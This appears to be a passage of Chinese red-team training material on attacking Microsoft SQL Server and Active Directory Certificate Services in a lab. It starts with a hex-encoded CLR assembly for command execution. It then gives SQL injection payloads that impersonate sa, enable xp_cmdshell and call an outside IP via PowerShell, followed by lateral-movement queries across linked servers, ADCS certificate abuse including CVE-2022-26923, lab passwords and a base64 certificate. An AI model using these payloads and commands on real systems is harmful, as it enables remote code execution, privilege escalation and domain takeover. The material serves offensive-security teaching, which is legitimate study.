2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;

image.png

最后,创建一个过程并执行系统命令,我们可以看到执行的输出:

CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
EXEC sp_cmdExec 'whoami';

image.png

至于 SqlRecon,虽然有一键 CLR 命令执行的功能,但需要文件落地。

image.png


特权提升

在 SQL 注入部分,我们知道当前登陆为 webapp,并不是 sysadmin 的一员,因此不具备执行远程代码的权限。但如果权限被不当配置了,那么有可能存在特权提升的路径,从而使得当前登陆 webapp 获得 sysadmin 的权限,从而实现代码执行等目的。

在 MSSQL,有一个特性被称为模仿 (Impersonation),指的是一个用户/登陆可以以另一个用户/登陆的上下文执行语句。因此,如果登陆 webapp 可以模仿 sa 或其他高特权用户,可以实现特权提升。

仅借助 SQL 查询语句,我们难以查询出当前登陆/用户可以模仿哪些其他登陆/用户,但是我们可以查询出哪些登陆/用户可以被模仿,但是返回的登陆或用户不一定是当前用户可模仿的,可能是其他登陆或用户才可模仿的。

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';

因此,我们可以构造出如下的 SQL 注入载荷查询出哪些登陆或用户可以被模仿:

pain' union SELECT distinct b.name,2,3 FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';--

image.png

我们看到,sa 可以被模仿。那么,sa 可被谁模仿呢,是否可以被当前的 webapp 所模仿?不妨试一试。我们知道,webapp 的权限不足以开启 xp_cmdshell,那么如果我们能模仿 sa,就能以 sa 的上下文开启 xp_cmdshell。通过 execute as login='sa' 命令,我们可以尝试模仿 sa。之后,承接着开启 show advanced options 和 xp_cmdshell 的语句。

pain'; execute as login='sa'; exec sp_configure 'show advanced options', 1; reconfigure; execute as login='sa'; exec sp_configure 'xp_cmdshell', 1; reconfigure; --

最终,我们使用如下语句查询 xp_cmdshell 的状态:

pain' union select value,2,3 from sys.configurations where name='xp_cmdshell';--

image.png

我们发现,模仿 sa 成功了,而且还开启了 xp_cmdshell 了。因此,我们实际上是可以通过利用 .NET 应用的 SQL 注入漏洞获得 RCE 的。关于模仿,在服务器端查看就很直观了。

image.png

最后,我们实际测试一下通过该 SQL 注入达成的 RCE,载荷如下

pain'; execute as login='sa'; exec xp_cmdshell 'powershell iwr http://89.117.62.45:8080/rce'; --

image.png


Python HTTP 服务器的 log 有了请求,说明代码执行成功。只是输出并不会显示在网页页面上。

image.png




横向移动

在 Microsoft SQL Server 中,SQL 链接或链接服务器指的是连接到不同服务器上的数据库并查询其数据的能力。这在从多个数据库访问数据时非常有用,但这些数据库位于不同的服务器上。然而,攻击者可以利用该特性横向移动到其他 SQL 服务器。

我们可以使用 PowerUpSQL、SqlRecon 或原始查询来枚举 SQL 链接。使用原始查询语句,我们可以借助如下语句之一:

exec sp_linkedservers;
select * from master..sysservers;

不过返回结果显示地很混乱

image.png

image.png

如果使用 PowerUpSQL,执行以下命令以检查 SQL 链接:

Get-SqlServerLinkCrawl -Instance "<实例名>"

image.png

我们可以看到,PowerUpSQL 可以嵌套式地帮我们爬取所有可以通过 SQL 链接访问到的实例,例如 Srv02,Web02。梳理一下逻辑,链接关系如下:

Srv01 -> Srv02

Srv02 -> Web02

Web02 -> Srv02

此外,PowerUpSQL 还能显示当前登陆对链接的 SQL 实例是否具有 sysadmin 权限。很显然,prod\sql_service 并不能通过 SQL 链接对另外 2 个 SQL 实例具有 sysadmin 权限,因为用户在目标域内被映射为 guest 用户,权限自然是不够的。

使用 SqlRecon 也可以爬取 SQL 链接,但是仅爬取与当前实例直接链接的实例

image.png

既然 SQL02 是直接链接到 SQL01 的实例,那么我们该怎么通过 SQL 链接对其进行枚举,甚至执行代码呢?我们可以通过 openquery 语句进行跨链接语句执行:

select * from openquery ("<链接服务器>",'<SQL 语句>');

image.png

我们可以看到,当前用户 prod\sql_service 在 Srv02 的 SQL 实例中对应的用户为 guest,自然是没有 sysadmin 权限的。SqlRecon 显示出了更具体的信息:

image.png

SQL Server 有一个叫做“登录映射”的概念,是指将当前 MSSQL 服务器的登录/用户名映射到另一个 MSSQL 服务器上的登录/用户名的过程。 当我们想要授予当前 MSSQL 服务器的用户对另一台 MSSQL 服务器实例上的资源的访问权限,而不需要在另一台 MSSQL 服务器上创建新的登录名时,这会很有用。 如果 Srv01 上的一登陆/用户被在 Srv02 上被映射为特权登陆/用户,例如 sa,那么我们就可以用于提权。因为 prod\sql_service 在 Srv01 上是 sysadmin,自然可以模范任何登陆,包括 sa。考虑到 Srv01 上的 sa 可能会在 Srv02 被映射为 sa,不妨尝试一下:

execute as login='sa';select * from openquery ("Srv02",'select system_user');

image.png

果然是这样映射的。在 MSSQL 服务器中,配置如下所见:

image.png

我们可以看到,当前的 sa 被映射到了远程 MSSQL 服务器的 sa,除了本地 sa 之外的登陆或用户,全部映射为 guest 用户。这与我们之前所见是相符的。

既然已经对 Srv02 有了 sysadmin 权限了,那我们需要进行代码执行以及横向移动。首先,我们需要开启 xp_cmdshell 或其他执行命令的方法。

exec ('sp_configure ''show advanced options'', 1; reconfigure; exec sp_configure ''xp_cmdshell'', 1; reconfigure;') AT <链接服务器>

但是,我们得到了这样的报错:

image.png

这是因为 rpcout 没有开启,我们需要手动开启:

exec sp_serveroption 'srv02','rpc out','true';

image.png

这样,我们就成功地开启了 Srv02 的 xp_cmdshell 了。想到我们之前通过 openquery 对链接服务器进行语句查询,我们很自然地想到将 exec xp_cmdshell '<命令>' openquery 相结合,但实际上这样不可行,因为使用 openquery 关键字不支持执行存储过程

image.png

但我们可以通过以下命令,对链接 SQL 服务器进行命令执行并获得输出结果:

exec('xp_cmdshell ''<命令>'';') at <链接服务器>

image.png

实际上,非要使用 openquery 执行命令是可行的,但我们看不到输出结果,语句如下:

Select * From openquery("<链接服务器>", 'select @@servername; exec xp_cmdshell ''<命令>'' ')

image.png

image.png

虽然看不到输出结果,但是新增的访问请求证明了命令被执行成功了。


课堂拓展

1:更新之前的对 .NET 应用一键执行任意 SQL 语句的脚本,修改为一键开启 xp_cmdshell 并执行代码 (不要求有回显,但能实现是最好的)

2:使用 SqlRecon 进行 xp_dirtree 

3:使用 PowerUpSQL 执行 xp_cmdshell 代码

4:尝试亲自编译 .NET DLL 并转换为 Hex 格式,实现 CLR RCE

5:从 Srv01 跨链接对 Srv02 进行远程代码执行,使用 OLE 自动化存储的方法。

6:从 Srv01 跨链接对 Srv02 进行远程代码执行,使用 CLR 的方法。

7:从 Srv01 跨越 2 层链接对 Web02 进行远程代码执行,使用任意 RCE 的方法

ADCS的利用

在上一个章节,我们已经简单了解过了 ADCS 的概念、作用、以及简单的枚举。在这一节,我们侧重于 ADCS 相关的利用。在我们的 Lab 中,只有 Med-factory 域配置了 ADCS,我们可以在 Raven-med 森林中对 Med-factory 域的资源进行枚举。出于教学与学习目的,我们提供了 stg01 主机的本地管理员凭证以及对 ADCS 服务具有特定权限的用户 med-factory\justin 的凭证。

stg01\Administrator:Passwordstg01
med-factory\justin:Flower1978@#

如果有学员不太清楚如何利用这些凭证,我们可以在 CS 上运行以下步骤便可以获得 stg01 的 Beacon。

先创建一个 SMB 监听器,名为 smb。

image.png

使用 make_token 命令创建 stg01 本地管理员的令牌,使用 psexec 方法移动到 stg01,权限等级为 SYSTEM。

image.png

然后创建 justin 的 令牌

image.png

尽管我们在上一章节简单介绍了 ADCS 的概念,但随着利用的展开,我们需要了解更多的名词和概念,一起来补充一下吧。


名词与概念

PKI

PKI 即公钥基础设施。PKI 是一个由硬件、软件、策略和程序组成的系统,用于创建、管理、分发、使用、存储和撤销数字证书并监督公钥加密。它主要包括证书颁发机构 (CA)、注册机构 (RA) 和证书库。通过 PKI,可以实现数据加密、身份验证、数据完整性和不可抵赖性,以确保在网络中安全地传输和存储信息。

企业 CA

Certification Authority (CA) 是颁发数字证书以建立不同系统和网络之间信任的可靠实体,企业 CA 是一种与 Active Directory 集成的证书颁发机构,以便对用户、设备、服务等进行身份验证和安全通信,可促进 PKI 基础设施的管理。

证书模板

证书模板是预定义的证书配置文件,包含了创建数字证书所需的一系列参数和属性。证书颁发机构在颁发证书时,可以根据证书模板来生成具有特定用途和设置的证书,以满足不同的安全需求和应用场景。

CSR

CSR 是一个包含公钥及申请者身份信息的文件,用于向证书颁发机构申请数字证书。当一个实体需要获得数字证书时,它会创建一个 CSR,其中包含公钥和需要加密的信息。证书颁发机构在收到 CSR 后,将验证其中的信息,并在批准后签发数字证书。

EKU

EKU 是数字证书中的一个可选扩展,用于指定证书的特定用途。通过 EKU,可以限制证书用于特定的操作,如服务器身份验证、客户端身份验证、代码签名等。这有助于提高安全性,防止证书被滥用。

SAN

Subject Alternative Names 是数字证书的扩展,可以将其他身份与同一证书相关联。 SAN 允许在单个证书中包含多个 DNS 名称、IP 地址和电子邮件地址等,从而可以将其用于各种目的或服务。 当使用多个名称访问同一服务或资源时,此功能特别有效。


枚举的回顾

我们用了 Cerfity 枚举了企业 CA,证书模板信息。企业 CA 名称为 dc03.med-factory.local\med-factory-DC03-CA

image.png

以及存在这些模板

image.png

这些模板中,Vuln1 Vuln2 是被刻意设计的脆弱模板。

我们使用命令 certify.exe find /vulnerable /currentuser 来寻找当前用户,即 Justin 具有特定权限的证书模板:

image.png

image.png

我们发现 justin (属于分组 ADCSManager)对于证书模板 Vuln1 具有注册权,对于证书模板 Vuln2 具有修改权。接下来,我们讨论如何利用它们。



攻击与利用

可被指定的 SAN

当指定的证书模板允许用户指定 SAN 的话,申请者可以提供高权限用户的用户名从而为其申请证书,进而通过证书进行认证实现模仿高权限用户/提权。回顾一下 Vuln1 模板的 msPKI-Certificate-Name-Flag 属性,值为 ENROLLEE_SUPPLIES_SUBJECT,说明 Vuln1 证书模板允许用户自行指定 SAN。

image.png

在 CA 上,该证书模板配置如下:

image.png

我们可以使用 Certify 和 Rubeus 来利用这一配置缺陷。首先,我们使用 Certify 为域管理员用户 administrator 使用 Vuln1 模板申请证书

certify.exe request /ca:<CA> /template:<模板> /altname:<模板的高权限用户>

image.png

image.png

将私钥以及证书一起复制并保存为 cert.pem,然后使用 openssl 将其转换为 pfx 格式,并 base64 编码后格式化输出:

root@ts:/tmp/tmp# nano cert.pem
root@ts:/tmp/tmp# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
root@ts:/tmp/tmp# cat cert.pfx | base64 -w 0
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

image.png

pfx 格式的证书上传到服务器上,也可以使用 base64 编码后的内容。最后,使用 Rubeus 通过该证书申请高权限用户的 TGT。

rubeus.exe asktgt /user:<模仿的用户> /certificate:<证书文件或内容> /password:<密码> /nowrap

image.png


可写的证书模板

对于 Vuln2 模板,我们不可以指定任意的用户名,但是用户 justin 对其具有修改权,那么思路便很明确,修改该证书模板,使其与 Vuln1 一样,用户可以指定任意用户名,然后后面的步骤自然是一致的。

certipy template -template <模板名称> -u <用户> -p <密码> -dc-ip <DC IP> -target <目标地址>

image.png

在这之后,我们发现 Vuln2 也允许用户自行指定 SAN 了。

image.png


CVE-2022-26923

在2022 年,一个有关 ADCS 的严重域内特权提升的漏洞被披露,低权限用户可以利用此漏洞接管整个域。在讨论 RBCD 时,我们知道默认情况下每个域用户最多可以向域内添加 10 台主机,因为有些公司允许 BYOD 策略。 而用户自然是被添加的主机的所有者。 因此,他们对被添加的计算机的某些属性 (例如 dnsHostNameservicePrincipalName) 具有写权限。

我们可以将被添加的计算机的 dnsHostName 修改为域控制器的主机名。 但是,因为每个计算机对象都被设置了 SPN,并且随着计算机的 dnsHostName 属性更新,SPN 也会相应更新。 每个 SPN 在域内都是唯一的。 因此,会产生 SPN 冲突。 要绕过这个限制,我们可以删除已添加的计算机的 SPN,然后更新其 dnsHostName 属性。 之后,我们可以使用 Machine 证书模板为新注册的计算机申请证书,最后请求 TGT。 由于被添加的计算机的 dnsHostName 与域控制器的相同,我们实际上将获得了 Dc03 的证书,而不是新添加的计算机的。

综上所述,利用步骤如下。

1:拿下一低特权域用户
2:添加一台新的计算机帐户
3:删除新计算机帐户的 SPN 属性。
4:将 dnsHostName 属性更新为 Dc03 的 FQDN
5:为已添加的计算机申请证书,但该证书是针对域控制器的
6:为域控制器请求 TGT
7:使用 DCSync 检索任何凭证或在 Dc03上获取 SYSTEM 访问权限

我们可以使用 powermad.ps1 或者 Impacket 来添加一个新的主机帐号

python3 addcomputer.py '<域FQDN>/<用户名>:<密码>' -method LDAPS -computer-name 'ADCS' -computer-pass '123' -dc-ip <DC IP>

image.png

然后清除掉 ADCS 主机的 SPN,并且将其 dnsHostname 指定为 dc03.med-factory.local

Set-ADComputer <主机名> -ServicePrincipalName @{}
Set-ADComputer <主机名> -DnsHostName <域控制器FQDN>
Get-ADComputer <主机名> -properties dnshostname,serviceprincipalname

image.png

我们看到,DnsHostname 已经被修改成 Dc03 的了,SPN 也不见了。接下来,使用 certipy 为新增的计算机申请证书:

certipy req -username 'ADCS$@<域FQDN>' -password 123 -ca <CA名> -dc-ip <DC IP> -template Machine

image.png

使用 Rubeus 根据证书申请 TGT,我们获得了 Dc03$ 主机账号的 TGT 票据。我们可以根据之前所学,要么使用 Dcsync 提取任意用户的凭证,要么利用 S4U2Self 将其转换为 cifs 的 TGS。 

image.png



基于ADCS Web 终端的 NTLM 中继

ADCS 还支持 Web 证书注册接口,终端是 http(s)://<ADCS服务器>/certsrv/

